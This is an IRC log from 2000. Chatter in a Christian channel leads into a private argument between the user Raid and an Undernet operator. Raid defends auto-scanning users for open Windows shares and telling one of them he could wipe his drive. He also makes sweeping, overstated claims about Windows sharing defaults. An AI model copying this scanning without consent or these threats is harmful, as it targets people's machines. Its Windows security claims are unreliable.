<pataway> allrighty pSyk_ *** dreamweb1 ([email protected]) has joined #Christian <pataway> i think u should leave <`Pegasus> hi Road! hi.. -> *dan_* what the fuck is with cici? *** pSyk_ was kicked by RoadRunnr (pSyk_) <pataway> hi roady *** pSyk_ ([email protected]) has joined #Christian *** RoadRunnr sets mode: +b *!*@endless .efortress.com *** pSyk_ was kicked by logos3 (Banned) *s* <`Pegasus> thanks rr! *** Karentra ([email protected]. splitrock.net) has joined #Christian <pataway> ta roady *** Karentra ([email protected]. splitrock.net) has left #Christian *** RoadRunnr sets mode: -o RoadRunnr <pataway> i would ahve done the honors myself but logos well.... yah what a way to start the day.. I don't beleive this BS... <pataway> hi MarySue !!!! * pataway willl BBL I tell somebody they have a security problem, and I'm reported to the authorities? <MarySue> patience : )) <pataway> Raid i think she referred to what you said to LC when you were here earlier -> *cici* You want my logs of christian ? I didn't threaten your friend chap. I told him he has an open share and he's vulnerable, I did nothing to his computer. eh? pataway: HE has an open acccess to his computer, Ok? <pataway> anywho <pataway> she = CiCi pataway: With that, anybody can access his hard disk. <`Pegasus> what? Raid, are you saying what i think you are saying? *** MarySue is now known as MarySafk DAN!!!!!!!!! we don't tolerate threats in here RoadRunnr: grrrr. <Melv\Mike> MarySafk RoadRunnr: damnit dude, listen to me. I warned chap he had an open share; I didn't DO ANYTHING TO HIM. dan_? <Melv\Mike> RoadRunnr: Oh yeah? what
are you going to do about it? <`Pegasus> Are you guys saying he can access my HD? okay, lets move on then :) `Pegasus: If you had an open share, anybody could. <pataway> i dunno what an open share is lol <`Pegasus> Raid: what port does that use? *** Pipetobak ([email protected] .voyager.net) has joined #Christian Yo! !rsv lev 16 13 <`Pegasus> hi Pipetobak: Lev 16:13 "13 and put the incense on the fire before the LORD, that the cloud of the incense may cover the mercy seat which is upon the testimony, lest he {die;}" (RSV) * Pipetobak reaches into the breast pocket of his flannel shirt and extracts a well worn, and well appreciated briar pipe. Meticulously he fills the pipe with delightful crumbles of leaf and gripping the stem of the pipe with his teeth, he strikes a match. The creamy, dense, vanilla tinted smoke is rich and delightful and he inhales it deeply with relish as he glances about looking for interesting conversation. Peg! <`Pegasus> hi pipe hiya Pipetobak Roadrunner! Raid, how have you been anyhow? [`Pegasus:#Christian PING] *** ZoOrOpA ([email protected]) has left #Christian <`Pegasus> anyone? huh? <`Pegasus> ok :) <`Pegasus> I tought I was alone you're with a nut lol and a RR but i am not staying hehe *** i8dog ([email protected] et) has joined #Christian <`Pegasus> lol RoadRunnr: Pretty good, But I'm losing my opinion of the undernet ircops intelligence. hello good people of CHRIST. <`Pegasus> uh oh no offense dan ;p <`Pegasus> i8dog? hello
is dan awake ? <`Pegasus> whats wrong? <`Pegasus> I see hmm? whats wrong? <`Pegasus> Raid: Thats not very nice to say *** MarySafk is now known as MarySue * i8dog opens the bible and starts reading. *** Kozubchik ([email protected]) has joined #Christian lets move on from that, okay <`Pegasus> wb marysue hiya MarySue, i8dog and Kozubchik hello roadrunnr. Hey Road * i8dog reads fevershly looking for answers. <MarySue> *Hugs* RoadRunnr * RoadRunnr ain't staying.. am on the expensive isp <`Pegasus> You know what guys, this place is getting too weird today. I think Im gonna come back later. just sending some mail <`Pegasus> God Bless you all bye pegasus ! <`Pegasus> bye bye RR *** `Pegasus (Nons@HSE-QuebecCity-ppp82 042.qc.sympatico.ca) has left #Christia n *** atman` ([email protected]) has joined #Christian take care peg... don't let the yellow dots make your head purple. anyone ever hear from Petrus, who used to hang out here? <MarySue> atman` !!!!!!!!!! yeah, he still pops in * RoadRunnr double blinks.. atman?! *logos3* petrus was last on IRC channel #christian 2 days, 18 hours, 11 minutes ago. * JnetyBabe wakes up hi RR raid rules. <MarySue> atman` he's here every now and then ah, ok, just was thinking about him :) Thanks! Pray unto God for Thumps and his Loved Ones, O holy God Pleaser St Michael the Archangel, for we all need to fervently flee unto thee, the speedy helper and intercessor for our souls. <JnetyBabe> later all... *** JnetyBabe ([email protected] .138.179.LosAngeles1.Level3.net) has left #Christian
<MarySue> atman` I think Colin^ talked with him a couple of days ago : ) thanks Marysue & RR :) <MarySue> <---- is abbigail, remember me, atman`??? *** atman` ([email protected]) has left #Christian <MarySue> guess he does ... lol <MarySue> ; ) lol.. wierd End of #Christian buffer Fri Sep 08 16:14:38 2000 The next Day, I begin to talk to her.. Here's that log. :) I dub this, "The undernet funny" Session Start: Fri Sep 08 23:01:35 2000 Session Ident: CiCi ([email protected]) >/whois cici CiCi is [email protected] * God Can! CiCi on #christian CiCi using dallas.tx.us.undernet.org www.airmail.net CiCi is an IRC Operator cici End of /WHOIS list. why? I don't think you quiet understand what you erm, reported me for. heh Mr chaplain had open shared drives. I didn't do anything to him, I told him it was there; I even directed him to a website for zone alarm. (firewall; fixes that problem) I told him if I was a jerk as he said, I would have formatted him. I didn't do so. hehe I didn't "hack" him or anything. His computer isn't setup properly. His entire c: drive is wide open to anybody; even you. ok, let me go read these logs again with that in mind, brb So when I'm contacted by the authorities, (they already know about this serious security problem.. ) they'll probably get a chuckle out of it. As I told chaplain he had this problem, if I was a jerk; I wouldn't have said a word.. just done mean things to him. thanks. [13:29] (Raid): LC: So consider that a threat, lamer.[13:29] (Raid): LC: So consider that a threat, lamer. Are you going to use the entire log, or out of context? I have no need to threaten CiCi. I could have kept my mouth shut. then anybody (even you) could access his entire system. and use it like you were sitting at the keyboard. I thought he might like to know about it. Next time I find somebody has this problem... shrug, I'll just keep quiet. I had no idea you didn't know about this serious problem with windows machines. NT suffers from it as well. in fact, everytime you reboot; unless you manually set it otherwise, drive c: is shared as open, with admin rights, no password. listen, if you really don't believe me, You can ask anybody you trust with computer knowledge to checkout this log of our chat. I'm not bsing you. I was trying to save you some shame is all. (My boss thought it was funny as hell.) you were trying to save me from shame? heh erm, embarrasment rather it's not normal for an admin to not understand shared drives. ;p and you are an administrator. hehe if your boss had a copy of your logs I don't think he'd think your actions were funny Admins are supposed to know these things, and if they don't check it out first.
Actually, he was standing beside me the entire convo; including the one with chaplain. if you were trying to help, that's one thing, but you were threatening and that's not right He didn't believe me when I told him YOU were an ircop of undernet. if you recall, you tried that same mess on me when you first met me I had to /whois and show him your "is an ircop" thingie. Listen, I had access to his computer, why threaten? Nothing he could do at that point. he was mine for the kill if I wanted it. Instead, I told him he had a problem. and explained (which you did take out of context) that if I was a jerk, I could easily format /u his hard disk, or even quicker, nuke his fat or registry. why were you looking anyway? oh and btw, I'm not a teenager; or a script kiddy, I don't have any reason to bs you. I'm perfectly capable of backing up what I say. I wasn't. My script autoscans people on joins, much like undernet does for open proxies. You might want to recommend undernet do this scan hehe it's even more serious to a users data then an open proxy. uhm no undernet isn't a nanny service Shrug, as I said... if you don't know about something, Check it out before accusing me of doing something bad. I've been clean for almost 8 months. Haven't hacked a single thing. the only things we look for are things that damage this network on a large scale the admins would NEVER agree to such scans as yours done to all guests if they all knew about the bug in windows, I bet you they would. now, I"m tired of you insulting me I'm sure some of you ircops login with windows boxes. I'm not trying to insult you. Actually I find you one of the cooler ircops i've talked too. I realize I may sound like a smartass; But it's seriously not intentional. I simply want to resolve this issue with you. I'm not worried about the authorities. I just don't like people thinking I've done something i didn't is all. you scanned someone's machine and then said [13:29] (Raid): LC: So consider that a threat, lamer. My script scanned him when he joined. I haven't changed my opinion of your immature behavior hmmm if you honestly wanted to help people by doing this, you wouldn't call them lamers Did you get the entire log, or just what I said to him? do you have any clue what percentage of our undernet guests I could call lamers? IE: the first thing he said to me? alot of them, but I don't I was minding my own business, he smarted off. I decided to tell him in open channel (I was writing /msg to him) that he had a problem. perhaps a lack of communication skills is the problem, I don't now, but I do know that what you did was not good If I was immature as you seem to think, I'd have chewed his hard disk up right before his eyes, and said nothing. *shrug* ahhh so he "smarted off" so you thought you'd put him in his place? that's typically something a kid does a kid? No mam, A kid would have formatted him the second they were told an open share was found. or stolen data or something. I told him about it, and since he was being a wiseass; I told everybody in the process. pftt that was very nice of you...... not and that's my point would it have been nicer not to tell him? so somebody WITH the intention of harm could take advantage? would have been more civil if you hadn't tried to act l33t with him
I didn't try to act l33t. and because you decided to show off and make a fool of someone, you made a mess I made no such mess, A misunderstanding of what exactly I did made a mess.